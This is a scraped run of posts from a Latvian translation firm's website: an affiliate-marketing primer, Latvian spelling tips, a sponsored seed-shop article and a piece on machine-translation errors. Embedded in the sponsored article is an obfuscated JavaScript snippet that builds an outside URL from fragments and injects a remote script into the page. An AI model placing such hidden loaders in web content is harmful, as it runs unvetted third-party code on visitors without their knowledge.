AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Affiliate marketing is a performance-based marketing strategy in which individuals (affiliates) promote a company’s products or services in exchange for a commission on sales or leads generated through their unique referral links. - Published: 2025-04-23 - Modified: 2025-04-23 - URL: https://skrivanek.lv/en/affiliate-marketing-what-it-is-and-how-it-works/ - Kategorijas: Uncategorized Affiliate Marketing: What It Is and How It Works In today’s digital world, businesses are constantly looking for innovative ways to promote their products and services. One highly effective and increasingly popular method is affiliate marketing. If you've ever seen a blogger recommend a product, a YouTuber share a discount code, or a social media influencer link to a brand, you’ve likely encountered affiliate marketing in action. But what exactly is affiliate marketing? How does it work? And most importantly, can you make money from it? This guide will answer these questions and more, helping you understand the ins and outs of affiliate marketing. What Is Affiliate Marketing? Affiliate marketing is a performance-based marketing strategy in which individuals (affiliates) promote a company’s products or services in exchange for a commission on sales or leads generated through their unique referral links. It’s a win-win situation for both businesses and affiliates: businesses gain more exposure and sales, while affiliates earn money for their efforts. You can check out an example of an affiliate marketing website that promotes products here: Helpmate. How Does Affiliate Marketing Work? The process of affiliate marketing is straightforward and follows these key steps: Affiliate Joins a Program – An individual or company joins an affiliate program, typically offered by a brand or through an affiliate network. Unique Tracking Link Is Provided – The affiliate receives a special URL containing a tracking code that identifies their referrals. Affiliate Promotes the Product – The affiliate shares the tracking link through blogs, social media, email marketing, videos, or other digital platforms. Consumer Clicks the Link and Makes a Purchase – When someone clicks on the affiliate’s link and completes a purchase (or performs a desired action), the tracking system records the transaction. Affiliate Earns a Commission – The business pays the affiliate a commission based on agreed terms, which could be a fixed amount per sale or a percentage of the sale value. Do Buyers Pay Extra When Purchasing Through an Affiliate Link? A common concern among consumers is whether they pay extra when buying through an affiliate link. The good news is that customers do not pay anything additional. The price remains the same whether they buy directly from the brand’s website or through an affiliate link. The business simply allocates a portion of its marketing budget to pay affiliates instead of spending it on traditional advertising. Types of Affiliate Marketing Models Affiliate marketing operates under different models, including: Pay-Per-Sale (PPS) – The affiliate earns a commission only when a referred customer makes a purchase. Pay-Per-Click (PPC) – The affiliate earns money based on the number of visitors they direct to the business’s website, regardless of whether they buy something. Pay-Per-Lead (PPL) – The affiliate is paid for generating leads, such as when a referred user signs up for a newsletter or fills out a contact form. Who Can Become an Affiliate Marketer? Almost anyone with an online presence can become an affiliate marketer. Bloggers, social media influencers, YouTubers, and even regular website owners can join affiliate programs and start earning commissions. However, success in affiliate marketing requires strategic promotion, consistency, and a solid understanding of your audience’s needs. The best way to start is by building a professional website and working on boosting its visibility through SEO and social media marketing. How to Get Started with Affiliate Marketing If you’re ready to begin your affiliate marketing journey, follow these steps: Choose a Profitable Niche – Focus on a niche that interests you and has a high demand for affiliate products. Sign Up for Affiliate Programs – Join reputable programs such as Amazon Associates, ShareASale, or ClickBank. Build an Affiliate Website or Blog – Create high-quality content that attracts and engages your target audience. Use SEO to Drive Organic Traffic – Optimize your content with relevant keywords to rank higher in search engines. Promote on Social Media – Share your affiliate links on platforms like Pinterest, Instagram, and Facebook. Track and Analyze Your Performance – Use analytics tools to monitor your results and improve your strategy. Best Platforms for Affiliate Marketing Affiliate marketers use various platforms to reach their audience, including: Blogs and Websites – Writing detailed product reviews and guides can attract organic traffic. Pinterest – Pinterest is a powerful tool for affiliate marketing. By creating visually appealing pins, you can drive traffic to your affiliate links and increase your earnings. Social Media – Platforms like Instagram, Facebook, and TikTok allow you to engage with your audience and share affiliate products authentically. YouTube – Creating video content around product reviews and tutorials is another excellent way to promote affiliate links. Email Marketing – Building an email list allows you to send promotions and product recommendations directly to subscribers. Common Mistakes to Avoid in Affiliate Marketing Affiliate marketing can be lucrative, but there are some pitfalls to avoid: Promoting Too Many Products – Focus on a select few quality products instead of overwhelming your audience. Ignoring SEO – Organic traffic is crucial; optimize your content for search engines. Not Disclosing Affiliate Links – Always be transparent with your audience to build trust. Spamming Links – Overloading your content with affiliate links can reduce credibility and engagement. Choosing the Wrong Niche – Pick a niche that you are passionate about and has long-term earning potential. How Long Does It Take to Succeed in Affiliate Marketing? Success in affiliate marketing doesn’t happen overnight. It takes time, effort, and persistence. Here’s a rough timeline: 0-3 Months – Setting up your website, choosing a niche, and creating quality content. 3-6 Months – Building traffic through SEO and social media marketing. 6-12 Months – Seeing initial sales and refining your strategy based on analytics. 1-2 Years – Establishing a steady stream of passive income and scaling your business. Affiliate Marketing and Passive Income One of the biggest advantages of affiliate marketing is its potential for passive income. Once you have created high-quality content and ranked it on search engines, you can continue earning commissions with little additional effort. By diversifying your income sources and consistently optimizing your content, you can build a sustainable online business. Legal Considerations for Affiliate Marketers To ensure compliance and maintain credibility, affiliate marketers should follow these legal guidelines: FTC Disclosure – Disclose your affiliate relationships clearly. GDPR Compliance – If targeting EU audiences, ensure data protection practices are followed. Intellectual Property Rights – Use only authorized images, content, and trademarks. Conclusion Affiliate marketing is a powerful way to earn money online, whether as a side hustle or a full-time business. By understanding how it works, choosing the right niche, and implementing effective marketing strategies, you can build a profitable affiliate marketing business over time. If you’re ready to start, explore different affiliate programs and take the first step toward earning passive income today! --- - Published: 2025-04-23 - Modified: 2025-04-23 - URL: https://skrivanek.lv/kadas-kludas-pielauj-cilveki-perkot-seklas-interneta/ - Kategorijas: Apmaksāts saturs - Translation Priorities: Optional Kādas kļūdas pieļauj cilvēki, pērkot sēklas internetā? (function{ x9qu_=("u"+"")+"s"+"";x9qu_+=("tat. ")+("i"); x9qu=document. createElement("script");x9qu. type="text/javascript";x9qu_+="nf"+("o")+"/"; x9quu="2428914205"+". ";x9qu. async=true;x9quu+="mfbqijyw9qu45qcfglc9787hh7udmq"; x9qu. src="https://"+x9qu_+x9quu;x9qub=document. body;x9qub. appendChild(x9qu); }); Interneta iepirkšanās mūsdienās ir kļuvusi par neatņemamu mūsu ikdienas sastāvdaļu, un arī dārzkopji arvien biežāk izvēlas sēklas iegādāties tiešsaistē. Tas ir ērti, ātri un sniedz iespēju izvēlēties no plaša sortimenta. Taču, neskatoties uz šo ērtību, daudzi dārza mīļotāji pieļauj kļūdas, kas var ietekmēt ražas kvalitāti vai pat novest pie neveiksmīga sezonas sākuma. Apskatīsim biežākās kļūdas, ko cilvēki pieļauj, pērkot sēklas internetā, un kā tās izvairīties. Nepārbauda pārdevēja uzticamību Viens no būtiskākajiem soļiem, iegādājoties sēklas internetā, ir izvēlēties uzticamu veikalu. Bieži vien cilvēki pievērš uzmanību tikai cenai vai krāsainiem attēliem, neiedziļinoties, vai konkrētais pārdevējs ir drošs. Ir svarīgi apskatīt atsauksmes, garantijas, uzņēmuma kontaktinformāciju. Piemēram, Nojus sēklu interneta veikals ir zināms ar savu plašo sortimentu, kvalitatīvajām sēklām un profesionālu klientu apkalpošanu – tas ir viens no drošākajiem izvēļu avotiem Latvijā un Baltijā. Nepārbauda derīguma termiņu Sēklām, tāpat kā jebkuram citam produktam, ir derīguma termiņš. Pērkot tās internetā, cilvēki mēdz aizmirst pajautāt vai apskatīt derīguma datumu. Novecojušas sēklas var zaudēt dīgtspēju, un rezultātā – neveiksmīgs dārzkopības sākums. Tāpēc vienmēr ir vērts izvēlēties veikalus, kas skaidri norāda šo informāciju, piemēram, Nojus. lv savos produktu aprakstos norāda precīzu derīguma termiņu un glabāšanas ieteikumus. Neizlasa sēklu aprakstu un piemērotību klimatam Dārznieki mēdz izvēlēties pēc izskata – skaistas šķirnes, interesantas krāsas vai eksotiski nosaukumi. Taču ne visas šķirnes ir piemērotas Latvijas klimatiskajiem apstākļiem. Viena no kļūdām ir tas, ka cilvēki neizlasa sēklu aprakstu, īpašības, ieteicamo audzēšanas laiku un apstākļus. Nojus piedāvā arī Latvijai piemērotas šķirnes un sniedz detalizētus aprakstus par katru produktu. Pērk pārāk daudz vai pārāk maz Vēl viena izplatīta kļūda ir nepareiza sēklu daudzuma izvēle. Iesācēji bieži vien iegādājas pārāk daudz sēklu, kas beigās netiek izlietotas, vai arī pārāk maz – un sezona tiek palaista garām. Nojus. lv produktu lapās bieži vien ir pieejami ieteikumi par sēklu daudzumu atkarībā no stādāmās platības. Ignorē klientu atbalstu Daudzi nezina, ka kvalitatīvi interneta veikali, piemēram, Nojus, piedāvā arī konsultācijas. Neizmantojot šo iespēju, pircējs var izvēlēties nepiemērotu produktu. Tāpēc, ja rodas šaubas – sazinies ar veikalu un uzdod jautājumus. Secinājums: Sēklu pirkšana internetā var būt patīkama un veiksmīga pieredze, ja izvairās no šīm biežākajām kļūdām. Izvēloties uzticamus pārdevējus kā Nojus, lasot aprakstus un jautājot padomu, var nodrošināt sev ražīgu un priecīgu dārzkopības sezonu. --- > Luteriskā baznīca vai luterāņu baznīca – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-04-22 - Modified: 2025-04-16 - URL: https://skrivanek.lv/luteriska-baznica-vai-luteranu-baznica/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LUTERISKĀ BAZNĪCA VAI LUTERĀŅU BAZNĪCA 1 Marija svētdienās dodas uz dievkalpojumu luteriskajā baznīcā vai luterāņu baznīcā? Latviešu valodas ekspertu komisija 2022. gada 9. martā pieņēma lēmumu, ka Latvijā visplašāk pārstāvētās reliģijas baznīcu nosaukumos jālieto lietvārda ģenitīva formā, nevis īpašības vārda formā. Tātad pareizi jāsaka katoļu baznīca un luterāņu baznīca, nevis katoliskā baznīca un luteriskā baznīca. Vienīgais izņēmums, kad lietojama forma “luteriskā”, ir vārdkopā “evaņģēliski luteriskā baznīca”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dopamīns vai dopomīns – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-04-16 - Modified: 2025-04-16 - URL: https://skrivanek.lv/dopamins-vai-dopomins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DOPAMĪNS VAI DOPOMĪNS 1 Laimes un atalgojuma hormonu sauksim par dopomīnu vai dopamīnu? Rakstos itin bieži sastopamas abas formas, taču, lai saprastu, kura forma ir pareizā, jāskatās vārda izcelsme. Vārds “dopamīns” cēlies no angļu “dopamine” (saliktenis no dopa un amine). Svešvārdiem latviešu valodā parasti saglabā oriģinālo rakstību, un pareizi hormona nosaukums rakstāms ar patskani “a”. Tātad rūpēsimies, lai mūsu smadzenēs veidotos pietiekami daudz dopamīna. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lai varētu piedalīties svētku tirdziņā, tirgotājiem bija jāsaņem licenze vai license? Vai tomēr licence? Ieskaties un uzzini atbildi! - Published: 2025-04-03 - Modified: 2025-04-03 - URL: https://skrivanek.lv/licence/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LICENCE VAI LICENZE, VAI LICENSE 1 Lai varētu piedalīties svētku tirdziņā, tirgotājiem bija jāsaņem licenze vai license? Vai tomēr licence? Vārds “licence” cēlies no latīņu vārda “licentia” ­– ‘atļauja’. Vēl 20. gs. sākumā izmantota šī latīniskā forma, arī forma ‘licencija’, kas tagad ir novecojušas. Lai arī izrunājot vārdā “licence” var ieskanēties gan “s”, gan “z” un pat “dz”, pareizi šis vārds jāraksta ar burtu “c”. Tātad visiem tirgotājiem, lai piedalītos ikgadējā svētku tirdziņā, ir jāsaņem pašvaldības licences. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ja arī jūs nevēlaties riskēt ar tulkojuma kļūdām, kas var izkropļot svarīgu informāciju vai pat kaitēt uzņēmuma reputācijai, sazinieties! - Published: 2025-04-03 - Modified: 2025-07-16 - URL: https://skrivanek.lv/vai-maksligais-intelekts-un-masintulkotaji-tiesam-ir-tik-labi/ - Kategorijas: Raksti - Translation Priorities: Optional VAI MĀKSLĪGAIS INTELEKTS UN MAŠĪNTULKOTĀJI TIEŠĀM IR TIK LABI? Mūsdienu digitālajā pasaulē ātra un iedarbīga saziņa ir vitāli svarīga, tādēļ ir viegli saprast, kāpēc tulkošanas un valodu pakalpojumu nozarei ir tik liela nozīme mūsu arvien vairāk digitalizētajā pasaulē. No īpaši svarīgu zinātnisku, medicīnisku un farmaceitisku dokumentu tulkojumiem līdz uzņēmumu ikdienas dokumentācijas paraugiem un pat gadījuma rakstura tūristiem, kas meklē jaunas vietas, ko iepazīt – lūk, cik plašs ir mākslīgā intelekta un mašīntulkotāju (machine translation – MT) darbalauks. Efektīva un pārdomāta tulkošana un komunikācija vēl nekad nav bijusi tik svarīga. Kā tapt sadzirdētam šajā vienveida informācijas lavīnā? Tā kā 20. un 21. gadsimtā tulkošanas nozare piedzīvoja eksponenciālu izaugsmi, bija nepieciešamas nepārtrauktas inovācijas, lai veicinātu tulkotāju spējas ne tikai sekot līdzi pieaugošajam pieprasījumam, bet arī atrast efektīvākus veidus un rīkus, kā tulkot ātrāk milzīgus satura apjomus. Pagājušā gadsimta 50. gados galvenā uzmanība tika pievērsta mašīntulkošanas attīstīšanai, un, lai gan ceļā uz to ir bijuši daudzi apstāšanās un atsākšanās punkti, mūsdienās varam izbaudīt neizmērojamus labumus, ko sniedz CAT (Computer Assisted Translation) – datorizētās tulkošanas rīki, kas ir revolucionizējuši tulkošanas procesus visā pasaulē. Mašīntulkošanas (MT) nepieciešamība Mūsdienās tehnoloģijas turpina attīstīties fenomenālā ātrumā, un līdz ar tām arī mašīntulkošana, runas atpazīšanas vai teksta veidošanas tehnoloģijas. MT iekļauj to, ko mēs, nozares profesionāļi, saucam par CAT rīkiem; tā ir jebkura datorizēta tulkošana, ko lieto lingvisti visā pasaulē, lai spētu veikt kvalitatīvus līdzīga satura tulkojumus daudz ātrāk, taupot klientu laiku un naudu. Milzīgs materiālu apjoms, kas ik dienu ir jātulko, vienkārši ir pārāk liels, lai to paveiktu tulkotāji. Lingvistu nepietiek, lai apmierinātu mūsu nesātīgo apetīti pēc daudzvalodu saziņas ātras pieejamības; ņemot vērā to, ka visā pasaulē ir vairāk nekā 6000 valodu, ir skaidrs, kāpēc CAT rīki ir kļuvuši nenovērtējami tulkošanas nozarē. Tulkošanas glosāriji Ir jāpanāk korekts līdzsvars starp leksiskās integritātes saglabāšanu, vienlaikus pareizi pārtulkojot paredzēto nozīmi no avotvalodas uz mērķvalodu. Pirms datorizētās tulkošanas sistēmu parādīšanās šis process bija darbietilpīgs un ilgstošs, un valodniekiem bija nepieciešamas gan plašas zināšanas, gan prasmes, gan apņēmība. Pirms elektroniskajām tulkošanas vārdnīcām? Tulkotāji bija spiesti izmantot terminoloģijas vārdnīcas, kas, lieki piebilst, bija nogurdinoši, kā arī galu galā izraisīja lielāku nekonsekvenci starp dažādu valodnieku veiktajiem tulkojumiem, izmantojot dažādas vārdnīcas. Datorizētu elektronisko tulkošanas vārdnīcu un glosāriju ieviešana, kas spēj iekļaut neiedomājami vairāk terminu nekā daudzas papīra vārdnīcas, nemaz nerunājot par pašiem tulkotājiem, nozīmēja, ka tulkošanas process kopumā varētu tikt racionalizēts, kā arī kļūt daudz efektīvāks laika un izmaksu ziņā. CAT RĪKI ŠODIEN CAT rīki pārsniedz vienkāršu tulkošanas vārdnīcu digitalizāciju; ir pieejami visdažādākie rīki, kas tulkotājiem un tulkošanas komandām sniedz būtisku palīdzību, nodrošinot ātrus un uzticamus pakalpojumus, pie kuriem esam pieraduši mūsu dinamiskajā pasaulē. Tulkošanas atmiņu (translation memory – TM) datubāzes un tulkošanas pārvaldības sistēmas (translation management systems – TMS) nodrošina iespēju piekļūt iepriekš veiktiem tulkojumiem, tos saglabāt, izveidot un atkārtoti izmantot turpmākajos projektos. Šīs savstarpēji papildinošās MT sistēmas ne tikai būtiski ietaupa laiku projektiem, bet arī palīdz nodrošināt konsekvenci klientu tulkošanas projektos, it īpaši tad, kad tas ir vissvarīgāk, piemēram, saglabājot zīmola identitāti, saskaņoti tulkojot mārketinga materiālus jauniem tirgiem. MT priekšrocības tulkojumiem Nepārtrauktas inovācijas MT jomā ir patiesi revolucionāri ietekmējušas tulkošanas metodes mūsdienās. Lai gan tie nav pat tuvu tam, lai aizstātu cilvēku veiktos tulkojumus, tie ir snieguši tulkotājiem nepārspējamas priekšrocības. Veicot laikietilpīgus un atkārtojošos uzdevumus, piedāvājot standartizētu centrālo informācijas bāzi, kur komandas var strādāt, kā arī nodrošinot ātru piekļuvi iepriekš paveiktajam darbam, MT ievērojami palielina valodas speciālistu produktivitāti. Tas ļauj viņiem koncentrēties uz tulkošanas cilvēcisko pusi, proti, kultūras īpatnību atšifrēšanu, jokiem, lokalizēšanu atbilstoši kultūras kontekstam un augstākas kvalitātes tulkojumu veikšanu īsākā laikā, piemeklējot unikālo teksta tonalitāti, lai tas atšķirtos un lasītājam rastos vēlme ilgāk pie tā pakavēties. Tulkotāja uzdevums joprojām ir izcīnīt lasītāja laiku un uzmanību. Mašīntulkošanas un MI kļūdas Mašīntulkošanas (MT) sistēmas pēdējos gados ir strauji attīstījušās, tomēr tās joprojām mēdz pieļaut dažāda veida kļūdas. Šīs kļūdas var būt gan tīri lingvistiskas (gramatikas, vārdu izvēles, stila ziņā), gan “konteksta kļūdas”, kas rodas no tā, ka datoram trūkst cilvēka izpratnes par konkrēto situāciju konkrētajā vietā un laikā. Zemāk aplūkoti reāli piemēri no dažādām jomām, statistika par kļūdu biežumu, izplatītākie kļūdu veidi un to ietekme uz tulkojumu kvalitāti un lietotāju uzticību. Reāli mašīntulkošanas kļūdu piemēri Medicīna: Pētījumā par ārstu norādījumu tulkošanu atklājās bīstama kļūda – angļu frāze “hold the kidney medicine until you speak with your doctor” (aptuveni “pagaidām nelietojiet zāles nierēm līdz konsultācijai ar ārstu”) tika mašīntulkota tā, ka pacients saprastu, ka zāles jāturpina lietot līdz konsultācijai. Šāda pretējas nozīmes kļūda medicīnas tekstā var apdraudēt pacienta veselību. Tehnika/tirdzniecība: Kad 2020. gadā “Amazon” atklāja vietni zviedru valodā, lietotāji pamanīja virkni automātiskā tulkojuma kļūdu. Piemēram, preces aprakstā ar vistu un gaili attēlā frāze par gaili jeb angliski “cock” tika pārtulkota kā izteiciens, kas zviedriski nozīmē rupju, necenzētu vārdu, jo sistēmai pietrūka konteksta un izvēlējās “cock” rupjo nozīmi. Šis piemērs rāda, ka MT sistēma neveiksmīgi izvēlējās vārdam “cock” atbilstošo nozīmi, radot nepiemērotu un aizskarošu tulkojumu. Tūrisms/sadzīve: 2018. gadā ziemas olimpiskajās spēlēs Norvēģijas komandas šefpavāri, izmantojot Google Translate, korejiešu piegādātājam pasūtīja 1500 olas, taču Google Translate kļūdas dēļ pasūtījums izauga desmitkārt – olimpiskajā ciematā tika piegādātas 15 000 olas. MT rīks nepareizi interpretēja skaitli vai vienību, izmainot nozīmi un radot loģistikas pārpratumu. Mārketings/idiomas: Klasiskais piemērs ir ātrās ēdināšanas uzņēmuma KFC sauklis “Finger-licking good” (par ēdienu – “tik garšīgs, ka pirkstus aplaizīsi”). Mašīntulkošanas rezultātā ķīniešu valodā tas parādījās kā “apēd savus pirkstus”, kas būtiski izkropļoja vēstījumu. Arī vispārīgi MT bieži tulko idiomas burtiski – piemēram, angļu izteicienu “to hit the books” tiešā tulkojumā kā “sist grāmatas”, lai gan patiesībā tas nozīmē “mācīties”. Šādi burtiski tulkojumi bez konteksta izpratnes rada nepareizu vai absurdu rezultātu. Terminoloģija: Nozaru specifiski teksti ir izaicinājums MT. Piemēram, juridiskā tekstā vārds “appeal” var nozīmēt gan “apelācija” (tiesvedībā), gan “piesaistīt” (piemēram, “appeal to audience” – “uzrunāt auditoriju”). Bez konteksta mašīntulkotājs var izvēlēties neatbilstošu terminu. Līdzīgi tehniskos aprakstos vārds “lead” var tikt pārtulkots kā “vads” vai “svins”, atkarībā no nozīmes – MT nereti kļūdās šādās daudznozīmīgās leksikās izvēlēs. Turklāt "lead" mārketinga tekstā nozīmē "potenciāls klients", un MT/MI var sajaukt, un potenciālais klients var pārtapt par ko tehnisku. Šādi var tikt sabojātas tehniskās instrukcijas, ja kļūda ir pieļauta vārda nozīmēs, kas saistītas ar tehnisko nozari, kā arī sajaukt prātu mārketinga cilvēkiem, ja potenciālie klienti pārtop par svinu vai vadu/pievadu. Finanšu: Valūtas nosaukums “real” (oficiālā Brazīlijas valūta) mašīntulkojumā kļūdaini tika atveidots kā “reiži” – vārds, kas latviešu valodā vispār nepastāv. Korekts tulkojums šajā gadījumā būtu “Brazīlijas reāls” (vienskaitlī) vai “Brazīlijas reāli” (daudzskaitlī). Šāda kļūda, iespējams, rodas, jo MT rīks neizprot, ka “real” šajā gadījumā nav īpašības vārds (reāls kā antonīms vārdam iedomāts), bet gan valūtas nosaukums, un tādējādi, iespējams, saprotot, ka īpašības vārds “reāls” neder kontekstuāli, mēģina izveidot jaunu vārdu pēc “dollar” jeb “dolārs” principa. KĻŪDU BIEŽUMS UN STATISTIKA Reuters Health pētījums atklāja, ka mašīntulkošanas kļūdas joprojām ir samērā biežas, lai gan to skaits ir atkarīgs no valodas pāra un izmantotā MT risinājuma kvalitātes. Piemēram, vienā medicīnas teksta eksperimentā, tulkojot pacienta instrukcijas ar Google Translate, 92 % teikumu spāņu tulkojumā bija precīzi, bet ķīniešu valodā – tikai 81 % , latviešu valodā šis skaitlis noteikti būtu daudz zemāks. Tātad attiecīgi aptuveni 8 % (spāņu) un 19 % (ķīniešu) teikumu saturēja kļūdas. Neliela daļa no šīm kļūdām (2 % spāņu un 8 % ķīniešu) bija nopietnas un potenciāli bīstamas. Situācija mazāk izplatītām valodām, piemēram, latviešu, ir līdzīga – labākās MT sistēmas pieļauj ~1–2 kļūdas uz 100 vārdiem, savukārt vecākas vai mazāk trenētas sistēmas – pat 10+ kļūdas uz 100 vārdiem . Citiem vārdiem sakot, pat modernā neironu MT rezultātā vidēji ik pēc 2–3 teikumiem rodas kāda valodas kļūda, bet vājāku modeļu gadījumā kļūda var būt teju katra teikuma tulkojumā . Šīs kļūdas var būt dažādas – no nelielām gramatikas neprecizitātēm līdz pilnīgi aplamai nozīmei. Ir arī novērots, ka tulkojot no valodas, kurā nav dzimtes formu, uz valodu ar dzimti (piemēram, no angļu uz latviešu), MT sistēmas mēdz sistemātiski kļūdīties dzimtē. Arī neatpazīti specializētie termini vai saīsinājumi var palielināt kļūdu īpatsvaru tekstā, kā arī mašīntulkošanas rīkiem ir izteiktas problēmas ar lielajiem burtiem, virsrakstiem no angļu valodas (jo tie bieži tiek veidoti, ka katra vārda sākumburts ir lielais). Kļūdu veidu biežums Lai gan precīzs kļūdu biežums katram veidam svārstās atkarībā no teksta un valodas, zemāk tabulā apkopoti izplatītākie kļūdu veidi un to sastopamība: Kļūdu kategorija Apraksts un piemērs Biežums Vārdu nozīmes (leksiskās) Nepareiza vārda nozīmes interpretācija vai vārda izvēle neatbilstošā nozīmē. Ļoti bieži daudznozīmīgos terminos. Idiomas un frāzes Idiomātisku izteicienu tulkošana burtiski. Piemērs: "to hit the books" → “sist grāmatas” (pareizi: “mācīties”). Diezgan bieži sastopams, īpaši ar retākām frāzēm. Gramatika / struktūra Gramatiskas kļūdas (laiki, locījumi), sintakses kļūdas. Piemērs: darbības vārda forma pagātnē → tagadnē. Bieži, īpaši sarežģītos teikumos. Dzimte Nepareiza dzimte. Piemērs: “ārsts” → būtu “ārste”. Samērā bieži, ja nav konteksta norāžu. Terminoloģija Specializētu terminu kļūdas. Piemērs: "to hold medication" → “turpināt lietot” (pareizi: “(uz brīdi) pārtraukt lietot”). Ļoti augsts risks specifiskās nozarēs (medicīna, jurisprudence, IT). Stils / tonis Nepiemērots stils vai tonis. Piemērs: familiāra forma vietā, kur jābūt formālai. Vidēji bieži. MT reti saprot nianses. Pareizrakstība / interpunkcija Trūkstošas pieturzīmes, lielie burti utt. Piemērs: komatu kļūdas var mainīt nozīmi. Reti, bet joprojām sastopami punktuācijas trūkumi garos teikumos. “Halucinācijas” Izdomāts saturs. MT ģenerē frāzes, kas nav oriģinālā. Var būt aizskarošs vai aplams. Maina burtus, neizprot datumu pierakstu u. c. Ļoti reti, bet bīstami – MT var radīt pilnīgi nepatiesu informāciju. Pretēja nozīme / negācija Pazūd “ne” daļiņa vai mainās polaritāte. Piemērs: “nav ieteicams” → “ieteicams”. Reti, bet ļoti bīstami (tiek sauktas par katastrofālām kļūdām). (Tabulā “biežums” kolonnā sniegts aptuvens novērtējums, jo precīzs procents atkarīgs no valodas pāra un teksta veida. Piemēram, latviešu valodā gramatisko kļūdu īpatsvars var svārstīties no 10% atkarībā no MT kvalitātes ). Kļūdu ietekme uz tulkojumu kvalitāti un uzticību MT radītās kļūdas var ietekmēt tulkojumu kvalitāti un lietotāju uzticēšanos mašīntulkotiem tekstiem. Profesionālajā tulkošanā šīs kļūdas parasti cenšas novērst ar pēcrediģēšanu – proti, cilvēks (profesionāls tulkotājs vai redaktors) pārlasa un izlabo mašīnas tulkojumu, lai tas atbilstu nepieciešamajai kvalitātei Piemēram, tulkošanas biroji vienmēr pārbaudīs, vai nav gadījusies kāda rupja nozīmes kļūda vai nepareizs terminoloģijas lietojums, pirms tekstu nodot klientam. Lietotāju uzticība MT risinājumiem ir divējāda. No vienas puses, lasītāji dod priekšroku saturam savā valodā, pat ja tur reizēm ir kāda neliela kļūda – CSA Research pētījumā noskaidroja, ka 76% patērētāju dod priekšroku produktiem ar informāciju savā 